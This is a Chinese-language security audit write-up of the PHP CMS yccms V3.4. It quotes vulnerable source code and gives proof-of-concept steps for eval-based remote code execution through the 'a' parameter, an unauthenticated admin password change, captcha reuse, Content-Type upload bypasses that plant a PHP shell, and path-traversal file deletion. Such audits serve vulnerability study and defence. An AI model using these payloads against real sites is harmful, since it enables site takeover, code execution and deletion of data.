yccms V3.4审计
下载:
通过网盘分享的文件:yccms.rar
链接: https://pan.baidu.com/s/1f6kZlcEFdnrubGlUKvT8iw 提取码: fw2i
全局搜索查询版本(define(‘VERSION’, ‘Ver 3.4’);//程序版本)
复现
1(rce)
/public/class/Factory.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Factory
{
static private $_obj = null;
static public function setAction(){
$_a=self::getA();
if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
if (!isset($_SESSION['admin'])) {
header('Location:'.'?a=login');
}
}
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
return self::$_obj;
}以get输入得到a
file_exists(检查文件或目录是否存在,并返回布尔值) 函数检测
ucfirst():将字符串的首字母转换为大写绕过file_exists
该函数允许目录存在特殊字符,/../将第一个前的内容当作一个目录处理,本身会返回上一个目录(造成了中间字符的逃逸)
构造Factory();phpinfo();//../,第一个Factory用来闭合前面实例化对象,之后就是插入的恶意代码,最后返回上级目录满足目录存在。(Factory首字母已经大写)
寻找该类在哪被加载(run)
config/run.inc.php(类的实例化)
1
2
3//单入口 Factory::setAction()->run(); ?>但是config/run.inc.php文件无法直接访问
继续找包含了这个文件的其他可用文件,找到admin/index.php、config/count.php、search/index.php三个文件
由于index.php是默认的首页文件,所以通过admin/index.php search/index.php 进行利用时可以省略index.php
构造
/admin?a=Factory();phpinfo();//../ /admin/index.php?a=Factory();phpinfo();//../
/search?a=Factory();phpinfo();//../ /search/index.php?a=Factory();phpinfo();//../ /config/count.php?a=Factory();phpinfo();//../
虽然search/index.php未直接调用Factory::setAction(),其他的执行的项目中存在
1
2
3$_tpl=TPL::getInstance(); $_search=new SearchAction(); $_search->index();/config?a=Factory();phpinfo();//../因为 /config?a=…→ 并没有 index.php 或没有对应处理逻辑,可能返回 403 或静态内容
1
2/admin?a=...` → 路由到 `/admin/index.php /search?a=...` → 路由到 `/search/index.php
2(未授权管理员密码修改)
controller/AdminAction.class.php(update函数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//修改密码
public function update(){
if(isset($_POST['send'])){
if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update');
if(validate::isNullString($_POST['password'])) Tool::t_back('密码不能为空!','?a=admin&m=update');
if(!(validate::checkStrEquals($_POST['password'], $_POST['notpassword']))) Tool::t_back('两次密码不一致!','?a=admin&m=update');
$this->_model->username=$_POST['username'];
$this->_model->password=sha1($_POST['password']);
$_edit=$this->_model->editAdmin();
if($_edit){
tool::layer_alert('密码修改成功!','?a=admin&m=update',6);
}else{
tool::layer_alert('密码未修改!','?a=admin&m=update',6);
}
}
$this->_tpl->assign('admin', $_SESSION['admin']);
$this->_tpl->display('admin/public/update.tpl');
}输入username以及password函数转移到editAdmin
1
$_edit=$this->_model->editAdmin();寻找到函数定义(在model/AdminModel.class.php)
1
2
3
4
5
6
7
8
9
10
11public function editAdmin(){ $_sql="UPDATE my_admin SET username='$this->username', password='$this->password' WHERE id=1 LIMIT 1"; return parent::update($_sql); }查看更新函数update($_sql) (在model/Model.class.php)
1
2
3protected function update($_sql){ return $this->execute($_sql)->rowCount(); }使用execute($_sql)执行的sql语句 (在model/Model.class.php)
1
2
3
4
5
6
7
8
9protected function execute($_sql){ try{ $_stmt=$this->_db->prepare($_sql); $_stmt->execute(); }catch (PDOException $e){ exit('SQL语句:'.$_sql.'<br />错误信息:'.$e->getMessage()); } return $_stmt; }editAdmin函数直接把传进来的username password拼接到sql语句中,然后去更新相关表中id=1的数据,没有对于用户的信息进行认证以及过滤,这也就造成了任意更改管理员账号密码
3(验证码复用)
直接测试抓包两次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/?a=login&m=ajaxCode HTTP/1.1
Host: yccms:85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 9
Origin: http://yccms:85
Connection: keep-alive
Referer: http://yccms:85/admin/?a=login
Cookie: PHPSESSID=o4og4hf5dqn67ns6pm8vlsfhdd
Priority: u=0
code=gka31
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/?a=login HTTP/1.1
Host: yccms:85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: http://yccms:85
Connection: keep-alive
Referer: http://yccms:85/admin/?a=login
Cookie: PHPSESSID=o4og4hf5dqn67ns6pm8vlsfhdd
Upgrade-Insecure-Requests: 1
Priority: u=0, i
ajaxlogin=&ajaxcode=&username=admin&password=1234565&code=kugk&send=两次的Cookie: PHPSESSID=o4og4hf5dqn67ns6pm8vlsfhdd相同
4(文件上传1)
登录后文件后台,上传logo存在文件上传(使用hacbar)
测试https://yccms:85/view/index/images/logo.php
post提交1=phpinfo();
展现出配置文件
说明漏洞存在
controller/CallAction.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14//处理上传图片 public function upLoad() { if (isset($_POST['send'])) { $_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']); $_path = $_logoupload->getPath(); $_img = new Image($_path); $_img->xhImg(960,0); $_img->out(); //echo $_path; $_logoupload->alertOpenerClose('图片上传成功!','..'.$_path); } else { exit('警告:文件过大或者其他未知错误导致浏览器崩溃!'); } }回溯logoupload(public/class/LogoUpload.class.php)
寻找验证类型
1
2
3
4
5
6
7
8
9
10private $type; //类型 private $typeArr = array('image/png','image/x-png'); //类型合集 //验证类型 private function checkType() { if (!in_array($this->type,$this->typeArr)) { Tool::alertBack('警告:LOGO图片必须是PNG格式!'); } }代码的“类型”“类型合集”表示只限制了
Content-Type在提交log时,抓包修改
Content-Type为PNG格式,image/png
5(文件上传2)
登录后文件后台,添加文章,上传图片存在文件上传(使用hacbar)
同上
(controller/CallAction.class.php———–>public\class\FileUpload.class.php)
代码的“类型”“类型合集”表示只限制了Content-Type
在提交log时,抓包修改Content-Type为PNG格式,image/png
6(任意文件(图片/文章)删除)
后台中,在图片管理处删除图片/文章
根据url(/admin/?a=pic&m=delall)定位文件(/controller/PicAction.class.php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public function delall(){ if(isset($_POST['send'])){ if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7); $_fileDir=ROOT_PATH.'/uploads/'; foreach($_POST['pid'] as $_value){ $_filePath=$_fileDir.$_value; if(!unlink($_filePath)){ tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7); }else{ header('Location:?a=pic'); } } } }对 pid传进来的值并没有进行过滤就进行了了路径的拼接,导致了路径穿越漏洞,触发任意文件删除漏洞
即**只需要更改pid[0]**即可在无登录条件下任意删除文件